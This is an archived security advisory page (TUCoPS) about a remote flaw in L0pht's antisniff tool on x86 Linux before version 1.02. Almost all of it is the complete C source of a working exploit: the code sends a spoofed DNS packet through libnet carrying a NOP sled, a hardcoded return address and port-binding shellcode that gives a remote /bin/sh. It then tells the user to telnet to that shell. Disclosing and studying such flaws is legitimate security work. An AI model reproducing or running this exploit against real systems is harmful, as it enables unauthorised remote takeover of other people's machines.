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TUCoPS :: Linux :: Apps A-M :: antsniff.htm

Antisniff exploit



Vulnerability

    antisniff

Affected

    x86/linux prior to 1.02

Description

    Sebastian found following.  He found bug in popular antisniff tool
    by L0pht (remote exploit for linux below):

    /* l0phtl0phe.c - antisniff exploit (1.02 included)
     *
     * -sc/teso
     *
     * gcc -o l0phtl0phe l0phtl0phe.c -Wall -lnet `libnet-config --defines`
     *
     * description:
     * l0pht messed up the fix for their problem in antisniff by not regarding
     * the type signedness properties of the char and int values used. this
     * results in a cool method bypassing the too extra checks (length + strncat).
     * some work on this topic have been done by mixter, (bad results on type
     * casting), but it should be obvious to any security conscious programmers.
     * i'm not stating that they aren't allowed errors, but they should fix it
     * for sure if they're going to fix it at all.  -sc.
     *
     * greetings to all teso, lam3rz, hert, adm, w00w00 and lds ppl.
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <netinet/in.h>
    #include <arpa/nameser.h>
    #include <libnet.h>
    
    
    #define	OFFSET		0xbffef9a0
    
    unsigned int	build_xp (unsigned char *xp);
    
    
    int
    main (int argc, char *argv[])
    {
	    int		sock;		/* raw socket */
	    u_long		src_ip,
			    dst_ip;
    
	    unsigned char	xpbuf[512];	/* this one gets complicated now */
	    unsigned char	tpack[512];	/* paket buffer */
	    unsigned int	pl_len;
    
    
	    if (argc != 3) {
		    printf ("usage: %s <source ip> <dest ip>\n\n", argv[0]);
    
		    exit (EXIT_FAILURE);
	    }
    
	    sock = libnet_open_raw_sock (IPPROTO_RAW);
	    if (sock == -1) {
		    perror ("libnet_open_raw_sock");
		    exit (EXIT_FAILURE);
	    }
    
	    src_ip  = libnet_name_resolve (argv[1], 0);
	    dst_ip  = libnet_name_resolve (argv[2], 0);
    
	    pl_len = build_xp (xpbuf);
    
	    libnet_build_ip (UDP_H + DNS_H + pl_len, 0, 7350, 0, 2, IPPROTO_UDP,
		    src_ip, dst_ip, NULL, 0, tpack);
	    libnet_build_udp (libnet_get_prand (PRu16), 53, NULL, 0,
		    tpack + IP_H);
	    libnet_build_dns (libnet_get_prand (PRu16), 0x0000, 1, 0, 0, 0,
		    xpbuf, pl_len, tpack + IP_H + UDP_H);
	    libnet_do_checksum (tpack, IPPROTO_UDP, UDP_H + DNS_H + pl_len);
    
	    /* they use "udp and dst port 53" as bpf, so we should have no problem
	     */
	    libnet_write_ip (sock, tpack, UDP_H + IP_H + DNS_H + pl_len);
	    libnet_close_raw_sock (sock);
    
	    printf ("exploitation succeeded.\n");
	    printf ("try: \"telnet %s 17664\" now.\n", argv[2]);
    
	    exit (EXIT_SUCCESS);
    }
    
    
    /* build_xp
     *
     * build exploit buffer into buffer pointed to by `xp'.
     */
    
    unsigned int
    build_xp (unsigned char *xp)
    {
    
    
    
    
	    /* yea yea ugly buffer ;-) */
	    unsigned char	buf[] =
		    "\x7c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\xeb\x01"
		    "\x7d\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\xeb\x08\x00"
		    "\xfe\x10\x10\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\xeb\x20"
		    "\x90\x90\x90\x90"
		    "\x3c\xf8\xfe\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    
		    /* portshell 17644 portshellcode by smiler & scut */
		    "\x31\xc0\xb0\x02\xcd\x80\x09\xc0\x74\x06\x31\xc0"
		    "\xfe\xc0\xcd\x80\xeb\x76\x5f\x89\x4f\x10\xfe\xc1"
		    "\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe"
		    "\xc3\xb0\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66"
		    "\x89\x5f\x14\x88\x47\x08\xb0\x45\x66\x89\x47\x16"
		    "\x89\x57\x18\x8d\x4f\x14\x89\x4f\x0c\x8d\x4f\x08"
		    "\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3\xb0"
		    "\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0"
		    "\x66\xcd\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe"
		    "\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31"
		    "\xd2\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d\x4f\x0c"
		    "\xb0\x0b\xcd\x80\x31\xc0\x99\x31\xdb\x31\xc9\xe8"
		    "\x7e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
    
	    buf[287] = (OFFSET      ) & 0xff;
	    buf[288] = (OFFSET >>  8) & 0xff;
	    buf[289] = (OFFSET >> 16) & 0xff;
	    buf[290] = (OFFSET >> 24) & 0xff;
    
	    memcpy (xp, buf, sizeof (buf));
    
	    return (sizeof (buf));;
    }

Solution
    
    Fixed.


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